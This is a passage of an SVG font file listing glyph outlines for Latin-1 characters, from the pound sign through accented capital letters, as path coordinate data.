<glyph unicode="&#xa3;" d="M156 705q0 27 2 51t8 55h149q-8 53 -13 105.5t-5 105.5q0 84 29.5 165t91 144.5t155 102.5t222.5 39q113 0 190.5 -16.5t147.5 -45.5q-4 -47 -18.5 -109.5t-47.5 -127.5q-57 23 -110.5 39t-135.5 16q-63 0 -106 -21.5t-68.5 -54.5t-37 -74t-11.5 -80q0 -59 5 -102t13 -86 h320q6 -33 8 -59.5t2 -55.5q0 -27 -2 -51t-8 -55h-285q2 -16 4 -34.5t2 -35.5q0 -70 -10 -130t-45 -132h528q6 -35 8.5 -66.5t2.5 -60.5q0 -33 -2 -64.5t-9 -66.5h-946l-8 29l27 22q43 37 72.5 90.5t48 110.5t27.5 111.5t9 91.5q0 33 -3 66.5t-7 68.5h-184q-6 33 -8 59.5 t-2 55.5z" />
<glyph unicode="&#xa4;" d="M80 334l143 143q-59 100 -59 223q0 125 63 228l-147 149q27 57 67.5 95t96.5 69l151 -151q102 57 223 57q119 0 222 -57l149 151q47 -31 90 -69.5t72 -92.5l-145 -143q70 -109 69 -236q0 -63 -17.5 -121.5t-47.5 -107.5l141 -139q-31 -47 -71 -90t-91 -72l-143 145 q-102 -59 -228 -59q-129 0 -231 59l-143 -145q-57 27 -95 69t-69 95zM412 700q0 -45 16 -83.5t44 -68.5t65.5 -47.5t80.5 -17.5q45 0 83 17.5t66 47.5t44 68.5t16 83.5t-16 86t-44 71t-65.5 47.5t-83.5 17.5q-43 0 -80.5 -17.5t-65.5 -47.5t-44 -71t-16 -86z" />
<glyph unicode="&#xa5;" d="M27 1448q86 12 172 12q78 0 155 -12l271 -571l266 571q76 12 156 12q74 0 157 -12l-344 -637h279q6 -29 6 -82q0 -27 -1 -51.5t-5 -40.5h-375v-143h375q6 -29 6 -82q0 -27 -1 -51.5t-5 -41.5h-375v-321q-41 -6 -77 -8t-73 -2q-35 0 -71.5 2t-75.5 8v321h-340q-4 14 -6 37 t-2 50q0 25 2 48t6 40h340v143h-340q-4 14 -6 36.5t-2 49.5q0 25 2 48.5t6 39.5h244z" />
<glyph unicode="&#xa6;" horiz-adv-x="698" d="M209 342q70 12 139 12q70 0 141 -12v-686q-72 -12 -139 -12q-72 0 -141 12v686zM209 903v686q70 12 139 13q70 0 141 -13v-686q-72 -12 -139 -12q-72 0 -141 12z" />
<glyph unicode="&#xa7;" horiz-adv-x="1171" d="M131 711q0 61 33 126.5t94 129.5q-72 68 -72 182q0 156 121 240t332 84q94 0 173 -14.5t163 -43.5q-4 -53 -24.5 -111.5t-45.5 -101.5q-51 23 -113.5 38t-125.5 15q-109 0 -150 -24.5t-41 -67.5q0 -41 27.5 -61.5t83.5 -36.5l245 -74q121 -37 167 -103.5t46 -144.5 q0 -76 -33.5 -141t-92.5 -129q35 -33 53 -74t18 -100q0 -78 -38 -138.5t-103.5 -101.5t-156.5 -62.5t-195 -21.5q-190 0 -351 58q4 53 24.5 111.5t43.5 101.5q53 -23 123 -38t133 -15q111 0 171 21.5t60 76.5q0 41 -26.5 58.5t-83.5 33.5l-225 70q-133 41 -183.5 108.5 t-50.5 149.5zM383 752q0 -41 25.5 -68t87.5 -43l227 -66q20 18 42.5 49t22.5 72t-25.5 71t-109.5 52l-204 53q-29 -23 -47.5 -51t-18.5 -69z" />
<glyph unicode="&#xa8;" horiz-adv-x="1024" d="M143 1335q0 29 3.5 59.5t7.5 61.5q31 6 66.5 9t64.5 3t64.5 -3t68.5 -9q6 -31 8 -60.5t2 -60.5q0 -29 -2 -59.5t-8 -61.5q-33 -6 -68 -8t-65 -2q-27 0 -63.5 2t-67.5 8q-4 31 -7.5 61t-3.5 60zM594 1335q0 59 12 121q31 6 67 9t64 3q29 0 65 -3t68 -9q4 -31 6.5 -60.5 t2.5 -60.5q0 -29 -2.5 -59.5t-6.5 -61.5q-33 -6 -68.5 -8t-64.5 -2t-64.5 2t-66.5 8q-12 61 -12 121z" />
<glyph unicode="&#xa9;" horiz-adv-x="1683" d="M82 735q0 162 55.5 302.5t154.5 241.5t239.5 159.5t310.5 58.5t310 -57.5t239.5 -159.5t155 -241.5t55.5 -303.5t-55.5 -303t-155 -240.5t-239.5 -160t-310 -58.5t-310.5 58.5t-239.5 160t-154.5 240.5t-55.5 303zM246 735q0 -129 41 -240.5t117.5 -193.5t187.5 -129 t250 -47t249.5 47t187.5 129t118 193.5t41 240.5t-41 240.5t-118 193.5t-187.5 129.5t-249.5 47.5t-250 -47.5t-187.5 -129.5t-117.5 -193.5t-41 -240.5zM479 737q0 84 25.5 161t75 135.5t121 93t163.5 34.5q70 0 116 -8t105 -31q0 -41 -8 -92t-28 -92q-49 16 -82 21.5 t-74 5.5q-90 0 -139 -58.5t-49 -169.5q0 -117 52 -172t136 -55q47 0 78 4.5t82 24.5q20 -33 31.5 -82t11.5 -103q-59 -23 -111.5 -30t-112.5 -7q-96 0 -169.5 34t-123 90.5t-75 133t-25.5 162.5z" />
<glyph unicode="&#xaa;" horiz-adv-x="1024" d="M127 899q0 76 33 128t85 83t117.5 44t129.5 13h48t48 -4v11q0 72 -44 92t-128 20q-41 0 -88 -7t-95 -24q-27 41 -39 80t-12 90q72 23 145.5 35.5t133.5 12.5q168 0 262 -79t94 -253v-465q-53 -16 -139 -33.5t-180 -17.5q-84 0 -153 15t-117 48t-74.5 85t-26.5 126z M346 907q0 -37 17.5 -56.5t42 -28.5t51 -11t45.5 -2q27 0 48 2t38 6v197q-16 2 -38 3t-40 1q-76 0 -120 -25.5t-44 -85.5z" />
<glyph unicode="&#xab;" horiz-adv-x="1310" d="M82 545l319 454q63 12 138 13q82 0 161 -13l-315 -454l315 -455q-80 -12 -161 -12q-74 0 -138 12zM629 545l319 454q63 12 138 13q82 0 161 -13l-315 -454l315 -455q-80 -12 -161 -12q-74 0 -138 12z" />
<glyph unicode="&#xac;" d="M178 723q0 66 12 127h875v-590q-61 -12 -125 -12q-66 0 -127 12v338h-623q-12 61 -12 125z" />
<glyph unicode="&#xad;" horiz-adv-x="759" d="M106 561q0 66 13 127h522q12 -61 12 -125q0 -66 -12 -127h-522q-12 61 -13 125z" />
<glyph unicode="&#xae;" horiz-adv-x="1683" d="M82 735q0 162 55.5 302.5t154.5 241.5t239.5 159.5t310.5 58.5t310 -57.5t239.5 -159.5t155 -241.5t55.5 -303.5t-55.5 -303t-155 -240.5t-239.5 -160t-310 -58.5t-310.5 58.5t-239.5 160t-154.5 240.5t-55.5 303zM246 735q0 -129 41 -240.5t117.5 -193.5t187.5 -129 t250 -47t249.5 47t187.5 129t118 193.5t41 240.5t-41 240.5t-118 193.5t-187.5 129.5t-249.5 47.5t-250 -47.5t-187.5 -129.5t-117.5 -193.5t-41 -240.5zM567 360v783q57 10 110.5 15t119.5 5q195 0 278.5 -68.5t83.5 -181.5q0 -70 -27.5 -124t-62.5 -82l-31 -25l181 -320 q-29 -4 -61 -6t-66 -2q-29 0 -54.5 2t-50.5 6l-184 359l33 20q47 29 77.5 63t30.5 83q0 47 -28.5 76.5t-90.5 29.5q-14 0 -25.5 -1t-31.5 -5v-627q-41 -8 -96 -8q-25 0 -51.5 2t-53.5 6z" />
<glyph unicode="&#xaf;" horiz-adv-x="1024" d="M229 1343q0 51 13 105h542q12 -53 13 -102q0 -53 -13 -105h-542q-12 51 -13 102z" />
<glyph unicode="&#xb0;" horiz-adv-x="772" d="M78 1178q0 63 24.5 120.5t65.5 98.5t97.5 65.5t119.5 24.5t120.5 -24.5t99.5 -65.5t66.5 -98.5t24.5 -120.5t-24.5 -118.5t-66.5 -97.5t-99 -66t-121 -24q-63 0 -119.5 24t-97.5 66t-65.5 97.5t-24.5 118.5zM258 1178q0 -59 37 -96.5t90 -37.5t92 37t39 97q0 59 -39 98 t-92 39t-90 -39t-37 -98z" />
<glyph unicode="&#xb1;" d="M156 723q0 63 12 125h321v362q61 12 123 13q63 0 125 -13v-362h322q12 -61 12 -123q0 -63 -12 -125h-322v-352h307q12 -61 13 -123q0 -63 -13 -125h-862q-12 61 -12 123q0 63 12 125h307v352h-321q-12 61 -12 123z" />
<glyph unicode="&#xb2;" horiz-adv-x="921" d="M109 664l272 299q123 135 123 217q0 39 -33 64.5t-92 25.5q-53 0 -92 -9.5t-92 -33.5q-18 43 -34 90t-22 100q68 27 128.5 41.5t140.5 14.5q152 0 244.5 -71t92.5 -200q0 -98 -50 -175t-134 -173l-33 -35h258q8 -39 9 -94q0 -59 -9 -100h-661z" />
<glyph unicode="&#xb3;" horiz-adv-x="921" d="M141 641q2 49 18.5 98t39.5 80q55 -16 103 -27.5t95 -11.5q68 0 118 29t50 90q0 47 -43 68.5t-96 21.5q-16 0 -38.5 -1t-53.5 -11l-39 43l156 244h-254q-4 25 -7.5 47t-3.5 45q0 45 11 92h561l22 -43l-190 -275q45 -6 83 -27.5t65.5 -52t42 -69.5t14.5 -80 q0 -74 -30 -129t-83 -93t-125 -57.5t-156 -19.5q-39 0 -69.5 2t-60 6t-60.5 11.5t-70 19.5z" />
<glyph unicode="&#xb4;" horiz-adv-x="1024" d="M221 1221l230 252q82 12 184 12q53 0 91 -3t79 -9l-309 -252q-27 -4 -64 -8.5t-78 -4.5q-66 0 -133 13z" />
<glyph unicode="&#xb5;" horiz-adv-x="1220" d="M141 -485v1544q74 12 144 12q72 0 145 -12v-551q0 -164 51 -228.5t148 -64.5q53 0 89 17.5t56.5 48t28.5 72.5t8 91v615q74 12 143 12q72 0 146 -12v-1061q-23 -4 -44.5 -7t-54.5 -3q-31 0 -56 3t-54 9q-4 6 -11.5 20.5t-13.5 32t-12 34.5t-8 28q-59 -72 -121.5 -106 t-157.5 -34q-39 0 -74.5 8.5t-66.5 22.5v-491q-39 -6 -74 -8.5t-69 -2.5q-35 0 -69 2t-73 9z" />
<glyph unicode="&#xb6;" horiz-adv-x="1226" d="M102 1040q0 121 44 206t130 138.5t211 77t285 23.5v-1497q-68 0 -115 3t-69 9v641h-23q-88 0 -171 21.5t-147.5 68.5t-104.5 123t-40 186zM905 -12v1497q66 0 114 -3t71 -9v-1473q-23 -6 -71 -9t-114 -3z" />
<glyph unicode="&#xb7;" horiz-adv-x="591" d="M139 561q0 72 13 146q74 12 143 12q72 0 145 -12q12 -74 13 -144q0 -72 -13 -145q-74 -12 -143 -12q-71 0 -145 12q-12 74 -13 143z" />
<glyph unicode="&#xb8;" horiz-adv-x="1024" d="M276 -475q4 33 10.5 73t26.5 70q37 -10 66 -14t61 -4q57 0 92 14t35 49t-32.5 48.5t-85.5 13.5q-29 0 -63 -4t-62 -15l-15 15l103 278h145l-61 -158q6 2 13 3.5t19 1.5q109 0 169.5 -50.5t60.5 -128.5q0 -104 -88 -157.5t-230 -53.5q-29 0 -71.5 2.5t-92.5 16.5z" />
<glyph unicode="&#xb9;" horiz-adv-x="921" d="M139 1298l416 160h51v-641h174q6 -27 8.5 -49.5t2.5 -44.5q0 -29 -2.5 -49.5t-8.5 -48.5h-569q-10 27 -13 48t-3 50q0 25 3 47.5t13 46.5h172v365l-156 -58q-33 35 -52 76t-36 98z" />
<glyph unicode="&#xba;" horiz-adv-x="1024" d="M127 1038q0 82 22.5 161t70.5 139.5t120 97.5t170 37t171 -37t121 -97.5t70.5 -139.5t22.5 -161t-22.5 -159.5t-70.5 -138t-121 -97.5t-171 -37t-170 37t-120 97.5t-70.5 138t-22.5 159.5zM362 1038q0 -111 36 -179t112 -68q78 0 113.5 68.5t35.5 178.5 q0 115 -35.5 181.5t-113.5 66.5q-76 0 -112 -66.5t-36 -181.5z" />
<glyph unicode="&#xbb;" horiz-adv-x="1308" d="M63 90l316 455l-316 454q80 12 162 13q72 0 137 -13l320 -454l-320 -455q-66 -12 -137 -12q-82 0 -162 12zM608 90l316 455l-316 454q80 12 162 13q72 0 137 -13l320 -454l-320 -455q-66 -12 -137 -12q-82 0 -162 12z" />
<glyph unicode="&#xbc;" horiz-adv-x="2150" d="M135 1298l416 160h51v-641h174q6 -27 8.5 -49.5t2.5 -44.5q0 -29 -2.5 -49.5t-8.5 -48.5h-569q-10 27 -13 48t-3 50q0 25 3 47.5t13 46.5h172v365l-156 -58q-33 35 -52 76t-36 98zM495 4l990 1448q70 12 143 12q63 0 141 -12l-991 -1448q-72 -12 -137 -12q-70 0 -146 12z M1282 188l323 668q51 -4 99.5 -20.5t91.5 -45.5l-211 -461h131v146q49 6 111 6q55 0 104 -6v-146h88q8 -39 8 -92q0 -47 -8 -86h-88v-149q-47 -8 -108 -9q-66 0 -107 9v149h-412z" />
<glyph unicode="&#xbd;" horiz-adv-x="2150" d="M123 1298l416 160h51v-641h174q6 -27 8.5 -49.5t2.5 -44.5q0 -29 -2.5 -49.5t-8.5 -48.5h-569q-10 27 -13 48t-3 50q0 25 3 47.5t13 46.5h172v365l-156 -58q-33 35 -52 76t-36 98zM462 4l990 1448q70 12 143 12q63 0 141 -12l-991 -1448q-72 -12 -137 -12q-70 0 -146 12z M1358 41l272 299q123 135 123 217q0 39 -33 64.5t-92 25.5q-53 0 -92 -9.5t-92 -33.5q-18 43 -34 90t-22 100q68 27 128.5 41.5t140.5 14.5q152 0 244.5 -71t92.5 -200q0 -98 -50 -175t-134 -173l-33 -35h258q8 -39 9 -94q0 -59 -9 -100h-661z" />
<glyph unicode="&#xbe;" horiz-adv-x="2150" d="M190 641q2 49 18.5 98t39.5 80q55 -16 103 -27.5t95 -11.5q68 0 118 29t50 90q0 47 -43 68.5t-96 21.5q-16 0 -38.5 -1t-53.5 -11l-39 43l156 244h-254q-4 25 -7.5 47t-3.5 45q0 45 11 92h561l22 -43l-190 -275q45 -6 83 -27.5t65.5 -52t42 -69.5t14.5 -80 q0 -74 -30 -129t-83 -93t-125 -57.5t-156 -19.5q-39 0 -69.5 2t-60 6t-60.5 11.5t-70 19.5zM499 4l990 1448q70 12 143 12q63 0 141 -12l-991 -1448q-72 -12 -137 -12q-70 0 -146 12zM1290 203l323 668q51 -4 99.5 -20.5t91.5 -45.5l-211 -461h131v146q49 6 111 6 q55 0 104 -6v-146h88q8 -39 8 -92q0 -47 -8 -86h-88v-149q-47 -8 -108 -9q-66 0 -107 9v149h-412z" />
<glyph unicode="&#xbf;" horiz-adv-x="1009" d="M117 4q0 96 36.5 166t89 118t108 76.5t89.5 45.5v186q70 12 138 12t129 -12v-352q-47 -8 -98.5 -23.5t-94.5 -42t-70.5 -67.5t-27.5 -99q0 -88 63.5 -134t167.5 -46q43 0 77 3t62.5 10.5t57 16.5t63.5 21q29 -53 47.5 -110.5t22.5 -118.5q-53 -18 -98 -31.5t-88 -22 t-86 -11.5t-93 -3q-246 0 -370.5 112t-124.5 306zM414 907q0 74 12 152q76 12 149 12q74 0 152 -12q12 -78 12 -150q0 -76 -12 -151q-78 -12 -149 -13q-76 1 -152 13q-12 76 -12 149z" />
<glyph unicode="&#xc0;" horiz-adv-x="1302" d="M20 0l465 1473q43 6 82 9t86 3q41 0 80 -3t86 -9l461 -1473q-84 -12 -164 -12q-78 0 -151 12l-82 295h-488l-84 -295q-74 -12 -141 -12q-76 0 -150 12zM209 1812q35 6 84 10.5t102 4.5q55 0 109.5 -4t99.5 -11l201 -213q-74 -12 -149 -12q-35 0 -72 2t-74 10zM465 543 h348l-170 618z" />
<glyph unicode="&#xc1;" horiz-adv-x="1302" d="M20 0l465 1473q43 6 82 9t86 3q41 0 80 -3t86 -9l461 -1473q-84 -12 -164 -12q-78 0 -151 12l-82 295h-488l-84 -295q-74 -12 -141 -12q-76 0 -150 12zM465 543h348l-170 618zM467 1599l201 213q45 6 99 10.5t110 4.5q53 0 102 -4t84 -11l-301 -213q-37 -8 -74 -10 t-71 -2q-76 0 -150 12z" />
<glyph unicode="&#xc2;" horiz-adv-x="1302" d="M20 0l465 1473q43 6 82 9t86 3q41 0 80 -3t86 -9l461 -1473q-84 -12 -164 -12q-78 0 -151 12l-82 295h-488l-84 -295q-74 -12 -141 -12q-76 0 -150 12zM254 1599l217 213q31 4 76 8.5t102 4.5q55 0 100 -4t78 -9l217 -213q-29 -6 -68.5 -9t-78.5 -3q-35 0 -82 3t-72 9 l-96 103l-92 -103q-12 -4 -33 -6t-43.5 -3l-45 -2t-40.5 -1q-39 0 -75 3t-64 9zM465 543h348l-170 618z" />
<glyph unicode="&#xc3;" horiz-adv-x="1302" d="M20 0l465 1473q43 6 82 9t86 3q41 0 80 -3t86 -9l461 -1473q-84 -12 -164 -12q-78 0 -151 12l-82 295h-488l-84 -295q-74 -12 -141 -12q-76 0 -150 12zM260 1767q35 45 95.5 80t137.5 35q39 0 77 -13.5t75 -28.5t75 -28.5t79 -13.5q37 0 68.5 13.5t76.5 56.5 q68 -72 92 -156q-35 -45 -94.5 -77.5t-130.5 -32.5q-43 0 -84 13t-80 28.5t-77 29t-75 13.5q-41 0 -70.5 -14.5t-74.5 -55.5q-31 37 -55.5 72.5t-34.5 78.5zM465 543h348l-170 618z" />
<glyph unicode="&#xc4;" horiz-adv-x="1302" d="M20 0l465 1473q43 6 82 9t86 3q41 0 80 -3t86 -9l461 -1473q-84 -12 -164 -12q-78 0 -151 12l-82 295h-488l-84 -295q-74 -12 -141 -12q-76 0 -150 12zM280 1737q0 29 3.5 59.5t7.5 61.5q31 6 66.5 9t64.5 3t64.5 -3t68.5 -9q6 -31 8 -61t2 -60q0 -29 -2 -59.5t-8 -61.5 q-33 -6 -68 -8t-65 -2q-27 0 -63.5 2t-67.5 8q-4 31 -7.5 60.5t-3.5 60.5zM465 543h348l-170 618zM731 1737q0 59 12 121q31 6 67 9t64 3q29 0 65 -3t68 -9q4 -31 6.5 -61t2.5 -60q0 -29 -2.5 -59.5t-6.5 -61.5q-33 -6 -68.5 -8t-64.5 -2t-64.5 2t-66.5 8q-12 61 -12 121z " />
<glyph unicode="&#xc5;" horiz-adv-x="1302" d="M20 0l469 1470q-43 33 -69.5 81t-26.5 114q0 117 74 184.5t184 67.5q111 0 184.5 -67.5t73.5 -184.5q0 -63 -26.5 -112.5t-67.5 -82.5l465 -1470q-84 -12 -164 -12q-78 0 -151 12l-82 295h-488l-84 -295q-74 -12 -141 -12q-76 0 -150 12zM465 543h348l-170 643zM553 1665 q0 -59 25.5 -92t72.5 -33q98 0 99 125q0 61 -26 94t-73 33t-72.5 -33t-25.5 -94z" />
<glyph unicode="&#xc6;" horiz-adv-x="1959" d="M20 0l830 1473h1001q12 -61 13 -125q0 -68 -13 -129h-536v-320h426q12 -66 12 -127q0 -66 -12 -129h-426v-389h551q12 -61 12 -125q0 -68 -12 -129h-850v303h-510l-160 -303q-74 -12 -158 -12q-94 0 -168 12zM637 551h379v692h-12z" />
<glyph unicode="&#xc7;" horiz-adv-x="1265" d="M106 733q0 164 47.5 304.5t136.5 242.5t219 159.5t296 57.5q98 0 181 -12t179 -51q-4 -61 -24.5 -120t-44.5 -118q-72 25 -127.5 35t-130.5 10q-197 0 -302.5 -128t-105.5 -380q0 -500 424 -500q76 0 133 10.5t129 35.5q27 -57 44.5 -118t25.5 -122 q-106 -39 -191.5 -51.5t-183.5 -12.5q-6 0 -12 1t-13 1l-30 -73q10 2 19 3t22 1q61 0 104 -15.5t71.5 -42t42 -60.5t13.5 -73q0 -104 -84 -158.5t-239 -54.5q-35 0 -82.5 4.5t-100.5 18.5q4 37 12.5 76t32.5 73q37 -12 70 -17t59 -5q74 0 103.5 15.5t29.5 47.5q0 55 -112 56 q-29 0 -59.5 -4.5t-71.5 -18.5l-23 29l80 213q-133 25 -233.5 90t-168 161.5t-101.5 221.5t-34 268z" />
<glyph unicode="&#xc8;" horiz-adv-x="1087" d="M143 0v1473h836q12 -61 12 -125q0 -68 -12 -129h-537v-320h426q12 -66 13 -127q0 -66 -13 -129h-426v-389h551q12 -61 13 -125q0 -68 -13 -129h-850zM201 1812q35 6 84 10.5t102 4.5q55 0 109.5 -4t99.5 -11l201 -213q-74 -12 -149 -12q-35 0 -72 2t-74 10z" />
<glyph unicode="&#xc9;" horiz-adv-x="1087" d="M143 0v1473h836q12 -61 12 -125q0 -68 -12 -129h-537v-320h426q12 -66 13 -127q0 -66 -13 -129h-426v-389h551q12 -61 13 -125q0 -68 -13 -129h-850zM328 1599l201 213q45 6 99 10.5t110 4.5q53 0 102 -4t84 -11l-301 -213q-37 -8 -74 -10t-71 -2q-76 0 -150 12z" />
<glyph unicode="&#xca;" horiz-adv-x="1087" d="M143 0v1473h836q12 -61 12 -125q0 -68 -12 -129h-537v-320h426q12 -66 13 -127q0 -66 -13 -129h-426v-389h551q12 -61 13 -125q0 -68 -13 -129h-850zM148 1599l217 213q31 4 76 8.5t102 4.5q55 0 100 -4t78 -9l217 -213q-29 -6 -68.5 -9t-78.5 -3q-35 0 -82 3t-72 9 l-96 103l-92 -103q-12 -4 -33 -6t-43.5 -3l-45 -2t-40.5 -1q-39 0 -75 3t-64 9z" />
<glyph unicode="&#xcb;" horiz-adv-x="1087" d="M143 0v1473h836q12 -61 12 -125q0 -68 -12 -129h-537v-320h426q12 -66 13 -127q0 -66 -13 -129h-426v-389h551q12 -61 13 -125q0 -68 -13 -129h-850zM186 1737q0 29 3.5 59.5t7.5 61.5q31 6 66.5 9t64.5 3t64.5 -3t68.5 -9q6 -31 8 -61t2 -60q0 -29 -2 -59.5t-8 -61.5 q-33 -6 -68 -8t-65 -2q-27 0 -63.5 2t-67.5 8q-4 31 -7.5 60.5t-3.5 60.5zM637 1737q0 59 12 121q31 6 67 9t64 3q29 0 65 -3t68 -9q4 -31 6.5 -61t2.5 -60q0 -29 -2.5 -59.5t-6.5 -61.5q-33 -6 -68.5 -8t-64.5 -2t-64.5 2t-66.5 8q-12 61 -12 121z" />
<glyph unicode="&#xcc;" horiz-adv-x="587" d="M-104 1812q35 6 84 10.5t102 4.5q55 0 109.5 -4t99.5 -11l201 -213q-74 -12 -149 -12q-35 0 -72 2t-74 10zM143 0v1473q76 12 150 12t151 -12v-1473q-78 -12 -149 -12q-76 0 -152 12z" />
<glyph unicode="&#xcd;" horiz-adv-x="587" d="M127 1599l201 213q45 6 99 10.5t110 4.5q53 0 102 -4t84 -11l-301 -213q-37 -8 -74 -10t-71 -2q-76 0 -150 12zM143 0v1473q76 12 150 12t151 -12v-1473q-78 -12 -149 -12q-76 0 -152 12z" />
<glyph unicode="&#xce;" horiz-adv-x="587" d="M-100 1599l217 213q31 4 76 8.5t102 4.5q55 0 100 -4t78 -9l217 -213q-29 -6 -68.5 -9t-78.5 -3q-35 0 -82 3t-72 9l-96 103l-92 -103q-12 -4 -33 -6t-43.5 -3l-45 -2t-40.5 -1q-39 0 -75 3t-64 9zM143 0v1473q76 12 150 12t151 -12v-1473q-78 -12 -149 -12 q-76 0 -152 12z" />
<glyph unicode="&#xcf;" horiz-adv-x="587" d="M-74 1737q0 29 3.5 59.5t7.5 61.5q31 6 66.5 9t64.5 3t64.5 -3t68.5 -9q6 -31 8 -61t2 -60q0 -29 -2 -59.5t-8 -61.5q-33 -6 -68 -8t-65 -2q-27 0 -63.5 2t-67.5 8q-4 31 -7.5 60.5t-3.5 60.5zM143 0v1473q76 12 150 12t151 -12v-1473q-78 -12 -149 -12q-76 0 -152 12z M377 1737q0 59 12 121q31 6 67 9t64 3q29 0 65 -3t68 -9q4 -31 6.5 -61t2.5 -60q0 -29 -2.5 -59.5t-6.5 -61.5q-33 -6 -68.5 -8t-64.5 -2t-64.5 2t-66.5 8q-12 61 -12 121z" />
<glyph unicode="&#xd0;" horiz-adv-x="1435" d="M0 770q0 51 12 104h140v599q86 10 180 17t209 7q387 0 588.5 -192.5t201.5 -577.5q0 -387 -204.5 -569.5t-608.5 -182.5q-104 0 -192 7.5t-174 17.5v668h-140q-12 51 -12 102zM453 238q18 -2 46.5 -4.5t69.5 -2.5q94 0 175 21.5t140.5 79t94.5 154t35 247.5 q0 147 -35 245.5t-94.5 156t-136 81t-162.5 23.5q-29 0 -67 -1t-66 -5v-359h284q12 -53 13 -102q0 -53 -13 -104h-284v-430z" />
<glyph unicode="&#xd1;" horiz-adv-x="1370" d="M143 0v1473q63 12 121 12q61 0 127 -12l570 -938v938q74 12 141 12q63 0 123 -12v-1473q-66 -12 -119 -12q-57 0 -125 12l-573 936v-936q-66 -12 -134 -12t-131 12zM316 1767q35 45 95.5 80t137.5 35q39 0 77 -13.5t75 -28.5t75 -28.5t79 -13.5q37 0 68.5 13.5t76.5 56.5 q68 -72 92 -156q-35 -45 -94.5 -77.5t-130.5 -32.5q-43 0 -84 13t-80 28.5t-77 29t-75 13.5q-41 0 -70.5 -14.5t-74.5 -55.5q-31 37 -55.5 72.5t-34.5 78.5z" />
<glyph unicode="&#xd2;" horiz-adv-x="1486" d="M104 733q0 164 38 304.5t116 242.5t199 159.5t286 57.5q166 0 287 -57.5t199 -159.5t115.5 -242.5t37.5 -304.5t-37.5 -302t-115.5 -239.5t-199 -159t-287 -57.5t-286.5 57.5t-198.5 159t-116 239.5t-38 302zM299 1812q35 6 84 10.5t102 4.5q55 0 109.5 -4t99.5 -11 l201 -213q-74 -12 -149 -12q-35 0 -72 2t-74 10zM424 733q0 -508 319 -508q317 0 318 508q0 254 -77 381t-239 127q-322 0 -321 -508z" />
<glyph unicode="&#xd3;" horiz-adv-x="1486" d="M104 733q0 164 38 304.5t116 242.5t199 159.5t286 57.5q166 0 287 -57.5t199 -159.5t115.5 -242.5t37.5 -304.5t-37.5 -302t-115.5 -239.5t-199 -159t-287 -57.5t-286.5 57.5t-198.5 159t-116 239.5t-38 302zM424 733q0 -508 319 -508q317 0 318 508q0 254 -77 381 t-239 127q-322 0 -321 -508zM582 1599l201 213q45 6 99 10.5t110 4.5q53 0 102 -4t84 -11l-301 -213q-37 -8 -74 -10t-71 -2q-76 0 -150 12z" />
<glyph unicode="&#xd4;" horiz-adv-x="1486" d="M104 733q0 164 38 304.5t116 242.5t199 159.5t286 57.5q166 0 287 -57.5t199 -159.5t115.5 -242.5t37.5 -304.5t-37.5 -302t-115.5 -239.5t-199 -159t-287 -57.5t-286.5 57.5t-198.5 159t-116 239.5t-38 302zM346 1599l217 213q31 4 76 8.5t102 4.5q55 0 100 -4t78 -9 l217 -213q-29 -6 -68.5 -9t-78.5 -3q-35 0 -82 3t-72 9l-96 103l-92 -103q-12 -4 -33 -6t-43.5 -3l-45 -2t-40.5 -1q-39 0 -75 3t-64 9zM424 733q0 -508 319 -508q317 0 318 508q0 254 -77 381t-239 127q-322 0 -321 -508z" />
<glyph unicode="&#xd5;" horiz-adv-x="1486" d="M104 733q0 164 38 304.5t116 242.5t199 159.5t286 57.5q166 0 287 -57.5t199 -159.5t115.5 -242.5t37.5 -304.5t-37.5 -302t-115.5 -239.5t-199 -159t-287 -57.5t-286.5 57.5t-198.5 159t-116 239.5t-38 302zM379 1767q35 45 95.5 80t137.5 35q39 0 77 -13.5t75 -28.5 t75 -28.5t79 -13.5q37 0 68.5 13.5t76.5 56.5q68 -72 92 -156q-35 -45 -94.5 -77.5t-130.5 -32.5q-43 0 -84 13t-80 28.5t-77 29t-75 13.5q-41 0 -70.5 -14.5t-74.5 -55.5q-31 37 -55.5 72.5t-34.5 78.5zM424 733q0 -508 319 -508q317 0 318 508q0 254 -77 381t-239 127 q-322 0 -321 -508z" />
<glyph unicode="&#xd6;" horiz-adv-x="1486" d="M104 733q0 164 38 304.5t116 242.5t199 159.5t286 57.5q166 0 287 -57.5t199 -159.5t115.5 -242.5t37.5 -304.5t-37.5 -302t-115.5 -239.5t-199 -159t-287 -57.5t-286.5 57.5t-198.5 159t-116 239.5t-38 302zM374 1737q0 29 3.5 59.5t7.5 61.5q31 6 66.5 9t64.5 3 t64.5 -3t68.5 -9q6 -31 8 -61t2 -60q0 -29 -2 -59.5t-8 -61.5q-33 -6 -68 -8t-65 -2q-27 0 -63.5 2t-67.5 8q-4 31 -7.5 60.5t-3.5 60.5zM424 733q0 -508 319 -508q317 0 318 508q0 254 -77 381t-239 127q-322 0 -321 -508zM825 1737q0 59 12 121q31 6 67 9t64 3q29 0 65 -3 t68 -9q4 -31 6.5 -61t2.5 -60q0 -29 -2.5 -59.5t-6.5 -61.5q-33 -6 -68.5 -8t-64.5 -2t-64.5 2t-66.5 8q-12 61 -12 121z" />
<glyph unicode="&#xd7;" d="M211 481l229 228l-227 227q33 51 78 96t98 80l227 -227l226 225q51 -35 96 -78q23 -23 42 -46t38 -50l-227 -227l227 -228q-16 -27 -35.5 -49t-42.5 -45t-46.5 -43t-49.5 -37l-228 228l-229 -230q-53 33 -96 78q-23 23 -42.5 47.5t-37.5 50.5z" />
<glyph unicode="&#xd8;" horiz-adv-x="1486" d="M104 733q0 164 38 304.5t116 242.5t199 159.5t286 57.5q117 0 210.5 -28.5t164.5 -82.5l62 84q37 12 84 13q53 0 98 -10l-137 -189q80 -102 118.5 -243.5t38.5 -307.5q0 -164 -37.5 -302t-115.5 -239.5t-199 -159t-287 -57.5q-123 0 -219 31t-170 88l-65 -92 q-20 -6 -43 -8t-45 -2q-27 0 -50.5 2t-41.5 6l143 197q-76 102 -112 238t-36 298zM424 733q0 -78 6 -143.5t23 -118.5l497 686q-74 84 -205 84q-322 0 -321 -508zM522 324q80 -98 221 -99q317 0 318 508q0 164 -35 281z" />
<glyph unicode="&#xd9;" horiz-adv-x="1374" d="M135 645v828q39 6 76 8t76 2q35 0 71.5 -2t75.5 -8v-764q0 -125 9.5 -214t37 -147.5t77.5 -86.5t130 -28t129 28t77 86.5t37 147.5t9 214v764q41 6 78 8t72 2q37 0 74.5 -2t76.5 -8v-828q0 -150 -24.5 -273.5t-88 -211.5t-170 -136.5t-270.5 -48.5t-270.5 48.5 t-170 136.5t-88 212t-24.5 273zM274 1812q35 6 84 10.5t102 4.5q55 0 109.5 -4t99.5 -11l201 -213q-74 -12 -149 -12q-35 0 -72 2t-74 10z" />
